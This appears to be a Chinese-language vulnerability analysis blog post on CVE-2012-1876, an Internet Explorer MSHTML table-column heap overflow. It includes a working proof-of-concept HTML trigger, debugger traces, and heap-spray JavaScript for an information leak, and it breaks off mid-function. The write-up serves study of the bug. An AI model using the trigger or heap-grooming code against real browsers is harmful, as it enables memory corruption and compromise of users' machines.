CVE-2012-1876 IE MSHTML.DLL CalculateMinMax 堆溢出漏洞

[toc]

这是Pwn2Own黑客大赛上用于攻破IE9的漏洞

分析环境

Windows 7 32位
VM 12
IE8
windbg
ida

基于HPA的漏洞分析方法

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >&nbsp </col>
</table>
<script>

function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}

setTimeout("over_trigger();",1);

</script>
</body>
</html>

首先开启页堆

1
2
3
C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe -i iexplore.exe +hpa
Current Registry Settings for iexplore.exe executable are: 02000000
hpa - Enable page heap

打开poc,附加,允许阻止内容,我一下子就断下来了,不用设置子进程调试模式

1
2
3
4
5
6
7
8
9
10
11
12
0:013> g
ModLoad: 69260000 69312000 C:\Windows\System32\jscript.dll
(6ec.cc8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=06c91000 edi=06c91018
eip=656af167 esp=045cdf28 ebp=045cdf34 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
656af167 890f mov dword ptr [edi],ecx ds:0023:06c91018=????????
0:005> .childdbg
Processes created by the current process will not be debugged

可能作者附加的进程不是主进程,试了一下,果然是这个问题。

看下栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
0:005> kb
ChildEBP RetAddr Args to Child
0462db0c 67d95b8e 00414114 0462de50 00000001 mshtml!CTableColCalc::AdjustForCol+0x15
0462dbbc 67c00713 00000001 0462de50 000003e8 mshtml!CTableLayout::CalculateMinMax+0x52f
0462ddd8 67beaf19 0462de50 0462de1c 00000001 mshtml!CTableLayout::CalculateLayout+0x276
0462df84 67cdcc48 0462f5f8 0462e1b0 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
0462e0bc 67ccf5d0 08533ea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0462e180 67ccf31d 08533ea8 00012174 00012174 mshtml!CFlowLayout::MeasureSite+0x312
0462e1c8 67ccf664 07e14f00 00000061 0462f5f8 mshtml!CFlowLayout::GetSiteWidth+0x156
0462e208 67ccfb40 07607fb0 08533ea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce
0462e28c 70fb665d 087f2ff8 0462e2ac 0462e370 mshtml!CEmbeddedILSObj::Fmt+0x150
0462e31c 70fb6399 087daefc 00000000 087ded20 msls31!ProcessOneRun+0x3e9
0462e378 70fb6252 087daf18 00012a86 00000000 msls31!FetchAppendEscCore+0x18e
0462e3cc 70fb61c3 00000000 00000000 00000014 msls31!LsDestroyLine+0x47f
0462e454 70fb293f 00000007 00002b6c 00000000 msls31!LsDestroyLine+0x9ff
0462e490 67ccdd81 00000001 00000007 00002b6c msls31!LsCreateLine+0xcb
0462e5e0 67ce17cc 0462f5f8 00000007 07607fc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127
0462e684 67ce1ef5 0462eee8 00012174 00000000 mshtml!CLSMeasurer::LSMeasure+0x34
0462e6cc 67ce1db1 00000000 00012944 00000083 mshtml!CLSMeasurer::Measure+0x1e6
0462e6f0 67ce11a2 00012944 00000083 07e14f40 mshtml!CLSMeasurer::MeasureLine+0x1c
0462e7a0 67d0a8f6 0462ecc0 08529fd8 00000083 mshtml!CRecalcLinePtr::MeasureLine+0x46d
0462efa8 67d0b304 0462f5f8 00000007 0000000e mshtml!CDisplay::RecalcLines+0x8bb
0462f0f8 67d08c5c 0462f5f8 00000007 0000000e mshtml!CDisplay::UpdateView+0x208
0462f1ac 67d09ee3 0462f5f8 0462f730 0872cf10 mshtml!CFlowLayout::CommitChanges+0x9c
0462f2bc 67beeb06 0462f5f8 0462f730 00000000 mshtml!CFlowLayout::CalcTextSize+0x30f
0462f544 67ce02ee 07e14f00 0462f730 00000000 mshtml!CFlowLayout::CalcSizeCoreCompat+0x1045
0462f560 67ce0367 0462f5f8 0462f730 00000000 mshtml!CFlowLayout::CalcSizeCore+0x49
0462f59c 67ce029c 0462f5f8 0462f730 00000000 mshtml!CBodyLayout::CalcSizeCore+0xd8
0462f5d4 67cdcc48 0462f5f8 0462f730 00000000 mshtml!CFlowLayout::CalcSizeVirtual+0x1af
0462f70c 67c64121 07e14f00 00000001 00000000 mshtml!CLayout::CalcSize+0x2b8
0462f7fc 67d090f9 00100000 00000007 0774ceb4 mshtml!CFlowLayout::DoLayout+0x543
0462f838 67ccc8ca 0774c870 00100000 0462f898 mshtml!CView::ExecuteLayoutTasks+0x3b
0462f87c 67d0336d 00000000 0462f8cc 00000035 mshtml!CView::EnsureView+0x355
0462f8a4 67cc94b2 0774c870 00000000 05d3fd58 mshtml!CView::EnsureViewCallback+0xd3
0462f8d8 67cb37f7 0462f974 00008002 00000000 mshtml!GlobalWndOnMethodCall+0xff
0462f8f8 771f86ef 000301f6 00000012 00000000 mshtml!GlobalWndProc+0x10c
0462f924 771f8876 67ca1de3 000301f6 00008002 USER32!InternalCallWinProc+0x23
0462f99c 771f89b5 00000000 67ca1de3 000301f6 USER32!UserCallWinProcCheckWow+0x14b
0462f9fc 771f8e9c 67ca1de3 00000000 0462fa84 USER32!DispatchMessageWorker+0x35e
0462fa0c 6da104a6 0462fa24 00000000 0071cf58 USER32!DispatchMessageW+0xf
0462fa84 6da20446 059be808 00000000 03336ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x452
0462fb3c 75a749bd 0071cf58 00000000 0462fb58 IEFRAME!LCIETab_ThreadProc+0x2c1
0462fb4c 76fc1174 03336ff0 0462fb98 774ab3f5 iertutil!CIsoScope::RegisterThread+0xab
0462fb58 774ab3f5 03336ff0 73050d5a 00000000 kernel32!BaseThreadInitThunk+0xe
0462fb98 774ab3c8 75a749af 03336ff0 00000000 ntdll!__RtlUserThreadStart+0x70
0462fbb0 00000000 75a749af 03336ff0 00000000 ntdll!_RtlUserThreadStart+0x1b

向上看,edi来源与esi,esi这个函数看不到,是上层函数,也就是mshtml!CTableLayout::CalculateMinMax

1
2
3
4
5
6
7
8
9
10
11
12
13
mshtml!CTableColCalc::AdjustForCol:
67f1f152 8bff mov edi,edi
67f1f154 55 push ebp
67f1f155 8bec mov ebp,esp
67f1f157 8b08 mov ecx,dword ptr [eax]
67f1f159 53 push ebx
67f1f15a 8b5d08 mov ebx,dword ptr [ebp+8]
67f1f15d 57 push edi
67f1f15e 8bc1 mov eax,ecx
67f1f160 83e00f and eax,0Fh
67f1f163 8d7e18 lea edi,[esi+18h]
67f1f166 50 push eax
67f1f167 890f mov dword ptr [edi],ecx ds:0023:08735018=????????

我们在mshtml!CTableLayout::CalculateMinMax下个断点跟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
0:013> bp mshtml!CTableLayout::CalculateMinMax
0:013> g
ModLoad: 69430000 694e2000 C:\Windows\System32\jscript.dll
Breakpoint 0 hit
eax=ffffffff ebx=08800ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466e824
eip=673b018a esp=0466e5c8 ebp=0466e7e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
673b018a 8bff mov edi,edi
0:005> p
eax=ffffffff ebx=08800ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466e824
eip=673b018c esp=0466e5c8 ebp=0466e7e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x2:
673b018c 55 push ebp
0:005> p
eax=ffffffff ebx=08800ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466e824
eip=673b018d esp=0466e5c4 ebp=0466e7e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x3:
673b018d 8bec mov ebp,esp
0:005> p
eax=ffffffff ebx=08800ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466e824
eip=673b018f esp=0466e5c4 ebp=0466e5c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x5:
673b018f 81ec90000000 sub esp,90h
0:005> p
eax=ffffffff ebx=08800ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466e824
eip=673b0195 esp=0466e534 ebp=0466e5c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0xb:
673b0195 53 push ebx
0:005> p
eax=ffffffff ebx=08800ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466e824
eip=673b0196 esp=0466e530 ebp=0466e5c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0xc:
673b0196 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:0466e5cc=08800ea8
0:005> dd 08800ea8
08800ea8 672a9868 0895ef30 08848fb8 67464918
08800eb8 00000001 00000000 0108080d ffffffff
08800ec8 00000000 00000000 00000000 ffffffff
08800ed8 00012174 00007e90 00000000 00000000
08800ee8 00000000 00412802 00000000 00000000
08800ef8 00000000 00000001 ffffffff ffffffff
08800f08 ffffffff ffffffff 672a9fd0 00000004
08800f18 00000004 0795aff0 672a9fd0 00000004
0:005> ln 672a9868
(672a9868) mshtml!CTableLayout::`vftable' | (672a99a8) mshtml!CTableLayoutBlock::`vftable'
Exact matches:
mshtml!CTableLayout::`vftable' = <no type information>

我们看到传进该函数的第一个参数是CTableLayout对象this指针(因为第一个地址是一个虚表),

单步到下面这行,这就是poc里面的span的值1了

1
2
3
4
5
6
0:005> p
eax=00000000 ebx=08800ea8 ecx=00412802 edx=ffffffff esi=0466e858 edi=0466e824
eip=673b01a6 esp=0466e52c ebp=0466e5c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x1c:
673b01a6 8b4354 mov eax,dword ptr [ebx+54h] ds:0023:08800efc=00000001

我们用ida看看器传递路径,给到了arg0

1
2
3
4
5
6
7
8
9
10
.text:74D301A6                 mov     eax, [ebx+54h]
.text:74D301A9 mov [ebp+arg_0], eax
......
.text:74D30289 cmp [ebp+arg_0], eax
.text:74D3028C mov ecx, [ebp+arg_0]
.text:74D3028F jl short loc_74D30293
.text:74D30291 mov ecx, eax ; this
.text:74D30293
.text:74D30293 loc_74D30293: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+105j
.text:74D30293 mov edx, [ebp+arg_0]

后面赋值给了edx

1
2
3
4
5
6
0:005> p
eax=00000000 ebx=08800ea8 ecx=00000000 edx=0879bfd0 esi=0466e858 edi=00000000
eip=673b0293 esp=0466e528 ebp=0466e5c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x13a:
673b0293 8b5508 mov edx,dword ptr [ebp+8] ss:0023:0466e5cc=00000001

跟着ebx+94h右移两位后会和我们的edx比较,当然0右移多少还是0,所以是跟0比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:005> p
eax=00000000 ebx=08800ea8 ecx=00000000 edx=00000001 esi=0466e858 edi=00000000
eip=673b02cc esp=0466e528 ebp=0466e5c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1b1:
673b02cc 8b8394000000 mov eax,dword ptr [ebx+94h] ds:0023:08800f3c=00000000
0:005> p
eax=00000000 ebx=08800ea8 ecx=00000000 edx=00000001 esi=0466e858 edi=00000000
eip=673b02d2 esp=0466e528 ebp=0466e5c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1b7:
673b02d2 c1e802 shr eax,2
0:005> p
eax=00000000 ebx=08800ea8 ecx=00000000 edx=00000001 esi=0466e858 edi=00000000
eip=673b02d5 esp=0466e528 ebp=0466e5c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1ba:
673b02d5 3bc2 cmp eax,edx

之后下面这个函数里面是分配内存的

1
2
3
4
.text:74D302EC                 push    1Ch             ; unsigned int
.text:74D302EE mov eax, edx
.text:74D302F0 mov edi, esi
.text:74D302F2 call ?EnsureSizeWorker@CImplAry@@AAEJIJ@Z ; CImplAry::EnsureSizeWorker(uint,long)

跟进去,发现是分配0x1c*4的内存

1
2
3
4
5
6
7
8
9
10
11
12
0:005> p
eax=00000004 ebx=08800ea8 ecx=00000000 edx=00000001 esi=00000001 edi=08800f38
eip=67478fd3 esp=0466e50c ebp=0466e51c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
mshtml!CImplAry::EnsureSizeWorker+0x3d:
67478fd3 f76508 mul eax,dword ptr [ebp+8] ss:0023:0466e524=0000001c
0:005> p
eax=00000070 ebx=08800ea8 ecx=00000000 edx=00000000 esi=00000001 edi=08800f38
eip=67478fd6 esp=0466e50c ebp=0466e51c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CImplAry::EnsureSizeWorker+0x40:
67478fd6 52 push edx

实际里面调用的是_HeapRealloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:005> p
eax=00000000 ebx=00000000 ecx=00000070 edx=00000000 esi=08800f44 edi=08800f38
eip=67478ff6 esp=0466e508 ebp=0466e51c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CImplAry::EnsureSizeWorker+0x9c:
67478ff6 e86edcfdff call mshtml!_HeapRealloc (67456c69)
0:005> dd esp
0466e508 00000070 08800f38 08800ea8 00000070
0466e518 00000004 0466e5c4 673b02f7 0000001c
0466e528 0466e824 00000000 08800ea8 70a26693
0466e538 00000000 00000010 672a9fd0 00000000
0466e548 00000000 00000000 00000000 07adbfd0
0466e558 00000000 00000000 00000000 70a28efa
0466e568 00000000 07b504ac 0466e598 00000000
0466e578 08848fb8 00000000 0466e5ac 6747ba70

那我们继续跟,跟进GetAAspan,返回值为000003e8,即10进制的1000,也即trigger函数里面将span设置成了1000

1
2
3
4
5
6
0:005> p
eax=00000001 ebx=08800ea8 ecx=00000002 edx=0879dff0 esi=672abde0 edi=087a0fd0
eip=6733a01e esp=0466dd30 ebp=0466dd38 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableCol::GetAAspan+0x17:
6733a01e 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0466dd34=000003e8

获取width的返回值有点怪

1
2
3
4
5
6
7
8
9
10
11
12
0:005> p
eax=08848fb8 ebx=08800ea8 ecx=07aebf80 edx=0879dff0 esi=0466e070 edi=00000001
eip=67545ab3 esp=0466dd38 ebp=0466dddc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x454:
67545ab3 e82009dbff call mshtml!CWidthUnitValue::GetPixelWidth (672f63d8)
0:005> p
eax=00414114 ebx=08800ea8 ecx=07aebf80 edx=00004141 esi=0466e070 edi=00000001
eip=67545ab8 esp=0466dd40 ebp=0466dddc iopl=0 ov up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a06
mshtml!CTableLayout::CalculateMinMax+0x459:
67545ab8 837da400 cmp dword ptr [ebp-5Ch],0 ss:0023:0466dd80=00000000

但是一算跟我们的42765有点关联,就是42765*100

1
2
>>> 0x00414114
4276500

继续,由于这次调试ecx为0,所以还没触发异常,之后还会将eax给了[ebp-24h],这个之后会给esi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0:005> p
eax=000003e8 ebx=08800ea8 ecx=00000000 edx=00004141 esi=0466e070 edi=00000001
eip=67545b4f esp=0466dd40 ebp=0466dddc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x4f0:
67545b4f 8b839c000000 mov eax,dword ptr [ebx+9Ch] ds:0023:08800f44=08a85f90
0:005> p
eax=08a85f90 ebx=08800ea8 ecx=00000000 edx=00004141 esi=0466e070 edi=00000001
eip=67545b55 esp=0466dd40 ebp=0466dddc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x4f6:
67545b55 03c1 add eax,ecx
0:005> p
eax=08a85f90 ebx=08800ea8 ecx=00000000 edx=00004141 esi=0466e070 edi=00000001
eip=67545b57 esp=0466dd40 ebp=0466dddc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x4f8:
67545b57 837de400 cmp dword ptr [ebp-1Ch],0 ss:0023:0466ddc0=00000000
0:005> p
eax=08a85f90 ebx=08800ea8 ecx=00000000 edx=00004141 esi=0466e070 edi=00000001
eip=67545b5b esp=0466dd40 ebp=0466dddc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x4fc:
67545b5b 8945dc mov dword ptr [ebp-24h],eax ss:0023:0466ddb8=08a85fac

可以看到确实是的

1
2
3
67545b83 8b75dc          mov     esi,dword ptr [ebp-24h]
67545b86 ff75f4 push dword ptr [ebp-0Ch]
67545b89 e8c4951800 call mshtml!CTableColCalc::AdjustForCol (676cf152)

第一次传入的esi是没什么问题的,看到+0x18也是没问题的

从调试结果看esi每次递增0x1c,而且第一次的时候不会递增

ida看到,这确实好似每次都会递增0x1c,即10进制的28

而控制循环次数的就是在这一句

1
2
if ( (signed int)v154 >= v161 )
break;

因为v154在循环外初始化为0,所以核心应该是v161

我们向上寻找161的来源,是CTableCell::GetAAcolSpan或者上面那个,看名字就猜到是获取clo的span值的,而且最大是1000,我们看看调试是哪个,

调试发现是调用GetAAspan(第一处),返回值为1,跟poc符合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:013> g
ModLoad: 69430000 694e2000 C:\Windows\System32\jscript.dll
Breakpoint 1 hit
eax=04f1bfd0 ebx=088d5ea8 ecx=00000033 edx=00000000 esi=086ecfac edi=04f1bfd0
eip=66f45a2e esp=0458e228 ebp=0458e2c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x37e:
66f45a2e e8d445dfff call mshtml!CTableCol::GetAAspan (66d3a007)
0:005> p
eax=00000001 ebx=088d5ea8 ecx=00000002 edx=07e4bff0 esi=086ecfac edi=04f1bfd0
eip=66f45a33 esp=0458e228 ebp=0458e2c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x383:
66f45a33 3de8030000 cmp eax,3E8h

第二次就返回0x38e,即1000,就是poc中将span修改为1000

1
2
3
4
5
6
7
8
9
10
11
12
13
0:005> g
Breakpoint 1 hit
eax=04f1bfd0 ebx=088d5ea8 ecx=00000033 edx=00000000 esi=086ecfac edi=04f1bfd0
eip=66f45a2e esp=0458da40 ebp=0458dadc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x37e:
66f45a2e e8d445dfff call mshtml!CTableCol::GetAAspan (66d3a007)
0:005> p
eax=000003e8 ebx=088d5ea8 ecx=00000002 edx=07e4bff0 esi=086ecfac edi=04f1bfd0
eip=66f45a33 esp=0458da40 ebp=0458dadc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x383:
66f45a33 3de8030000 cmp eax,3E8h

而这个堆块本来分配的时候就只有0x70,我们也可以看到是在 66e78ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1分配的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
0:005> g
Breakpoint 0 hit
eax=08764f80 ebx=088d5ea8 ecx=00000000 edx=00004141 esi=086ecf90 edi=00000001
eip=66f45b89 esp=0458da34 ebp=0458dadc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x52a:
66f45b89 e8c4951800 call mshtml!CTableColCalc::AdjustForCol (670cf152)
0:005> !heap -p -a esi
address 086ecf90 found in
_DPH_HEAP_ROOT @ 1151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
859323c: 86ecf90 70 - 86ec000 2000
6e4a8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77514ea6 ntdll!RtlDebugAllocateHeap+0x00000030
774d7d96 ntdll!RtlpAllocateHeap+0x000000c4
774a34ca ntdll!RtlAllocateHeap+0x0000023a
66e56c94 mshtml!_HeapRealloc+0x00000036
66e78ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1
66db02f7 mshtml!CTableLayout::CalculateMinMax+0x000001df
66db0713 mshtml!CTableLayout::CalculateLayout+0x00000276
66d9af19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720
66e8cc48 mshtml!CLayout::CalcSize+0x000002b8
66e7f5d0 mshtml!CFlowLayout::MeasureSite+0x00000312
66e7f31d mshtml!CFlowLayout::GetSiteWidth+0x00000156
66e7f664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce
66e7fb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150
70fb665d msls31!ProcessOneRun+0x000003e9
70fb6399 msls31!FetchAppendEscCore+0x0000018e
70fb6252 msls31!LsDestroyLine+0x0000047f
70fb61c3 msls31!LsDestroyLine+0x000009ff
70fb293f msls31!LsCreateLine+0x000000cb
66e7dd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127
66e917cc mshtml!CLSMeasurer::LSMeasure+0x00000034
66e91ef5 mshtml!CLSMeasurer::Measure+0x000001e6
66e91db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c
66e911a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d
66e933d9 mshtml!CDisplay::RecalcLinesWithMeasurer+0x00000440
66e930eb mshtml!CDisplay::RecalcLines+0x0000006b
66e93015 mshtml!CDisplay::RecalcView+0x0000006d
66e92fc8 mshtml!CFlowLayout::CalcTextSize+0x0000043d
66d9eb06 mshtml!CFlowLayout::CalcSizeCoreCompat+0x00001045
66e902ee mshtml!CFlowLayout::CalcSizeCore+0x00000049
66e90367 mshtml!CBodyLayout::CalcSizeCore+0x000000d8
66e9029c mshtml!CFlowLayout::CalcSizeVirtual+0x000001af

所以整个漏洞其实本来span为1,堆分配了0x70的大小是足够的,但是当执行时间触发器的over_trigger函数时候,将span改写为1000,导致循环次数增大,最终导致越界写到还没分配的地址(因为大小只有0x70啊),触发异常

那么从这里看width暂时没起作用,可能是漏洞利用的时候会用得,将width的赋值删掉也是能触发漏洞的

信息泄露原理分析

首先是先布局,复制一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<div id="test"></div>
<script language='javascript'>

var leak_index = -1;

var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;

var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;

var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;

//spray
var arr = new Array();
var rra = new Array();

var div_container = document.getElementById("test");
div_container.style.cssText = "display:none";

for (var i=0; i < 500; i+=2) {

// E
rra[i] = dap.substring(0, (0x100-6)/2);

// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);

// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);

// B
var obj = document.createElement("button");
div_container.appendChild(obj);

}

for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}

</script>

首先是搞了3个480长度的字符串,之后声明了两个数组,跟着实际复制0x100大小的复制到数组里面,arr数组其中A和B是连续的,而rra中E是间隔的,之后还新建一个button对象

最后还有个循环将rra置空,,之后回收垃圾,这个相当于free吧

之后便是一堆table,col元素

为了弄清整个过程我们需要看看CollectGarbage回收的内存会不会是我们之后触发漏洞申请的内存,是的话就好办了

我们调试看看,字jscript加载的时候下断点

1
2
3
4
5
6
7
8
0:013> sxe ld:jscript
0:013> g
ModLoad: 6c330000 6c3e2000 C:\Windows\System32\jscript.dll
eax=0a380000 ebx=00000000 ecx=011a1000 edx=00000000 esi=7ffda000 edi=0487e1fc
eip=775c64f4 esp=0487e114 ebp=0487e168 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
775c64f4 c3 ret

之后对JsCollectGarbage下断点(其实释放内存的函数应该都会调用底层函数ntdll!RtlFreeHeap)

1
0:005> bp jscript!JsCollectGarbage

根据作者的思路,我们先对RtlFreeHeap下断,从他的定义可以看到第3个参数就是释放的地址(可以从msdn看到)

1
2
3
4
5
BOOLEAN RtlFreeHeap(
_In_ PVOID HeapHandle,
_In_opt_ ULONG Flags,
_In_ PVOID HeapBase
);

先禁用我们的JsCollectGarbage,对RtlFreeHeap下个记录断点(注:echo后面的其实是输出字符串:free heap)

1
2
3
4
0:005> bl
0 e 6c3b8555 0001 (0001) 0:**** jscript!JsCollectGarbage
0:005> bd 0
0:005> bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"

同时我们也关注漏洞位置分配的内存,我们在下面这行下断点(作者输出的是ebx+0x9c的值,这是之前调试的时候发现的值)

1
0:005> bu CTableLayout::CalculateMinMax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g"

由于这个输出太多,我们输出到文件

1
2
0:005> .logopen c:\log.txt
Opened log file 'c:\log.txt'

我们查找一下vulheap字符串

vulheap
03f35e68 0000054b 00450045 00450045 00450045

我们看看我们之前释放的内存有没有03f35e68,查找一下果然有

其实还有很多个这样的,因为毕竟是133个col元素

此外在poc中,将span设置为19,

1
2
var obj_col = document.getElementById("132");
obj_col.span = 19;

这里作者说得不是很清楚,首先id为132的col元素的span为9

那么一开始分配的内存是9*0x1c=0xfc,这个放到0x100已经释放的内存应该是挺合适的,内存管理器就是要找到合适的内存,道理应该是这样的

我们看看vulheap到底长怎么样(下面是信息泄露完后的情形),需要重点注意的是前面还有后面的一些地方被被覆盖为04 10 00 00 即0x00001004,这个正是width*100的值

而程序的异常复制中复制的源地址是是CTreeNode::GetFancyFormat返回地址指向的值,一次复制一个dword,所以我们看到vulheap还有EE..的残留,而且复制的目标是0x18偏移,每次还再偏移0x1c

我们看看CTreeNode::GetFancyFormat的某次返回值,之后还要+0x70

1
2
.text:74EC5A4A                 call    ?GetFancyFormat@CTreeNode@@QAEPBVCFancyFormat@@XZ ; 某次返回值:0x02a70a20
.text:74EC5A4F add eax, 70h

我们看一下复制源,是00010049

1
2
0:005> dd 0x02a70a20+70 l1
02a70a90 00010049

那么上面的vulheap应该是00010049而不是1004啊,为什么呢

我下个断点看看

1
bp mshtml!CTableLayout::CalculateMinMax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;ba w4 poi(ebx+9c);g"

也是断在AdjustForCol函数,而ebx正是0x1004

1
2
3
4
5
6
7
0:005> g
Breakpoint 0 hit
eax=00010048 ebx=00001004 ecx=02de8040 edx=00000010 esi=02de8028 edi=02de8040
eip=6600f181 esp=02429d5c ebp=02429d64 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x2f:
6600f181 eb2a jmp mshtml!CTableColCalc::AdjustForCol+0x5b (6600f1ad)

我们看看上一个地址是什么呢,原来是这两条语句

即下面这个位置啊,这样调试过后就很清楚了

之后我们看看over_trigger函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function over_trigger() {
var leak_addr = -1;
for ( var i = 0; i < 500; i++ ) {
if ( arr[i].length > (0x100-6)/2 ) { // overflowed
leak_index = i;
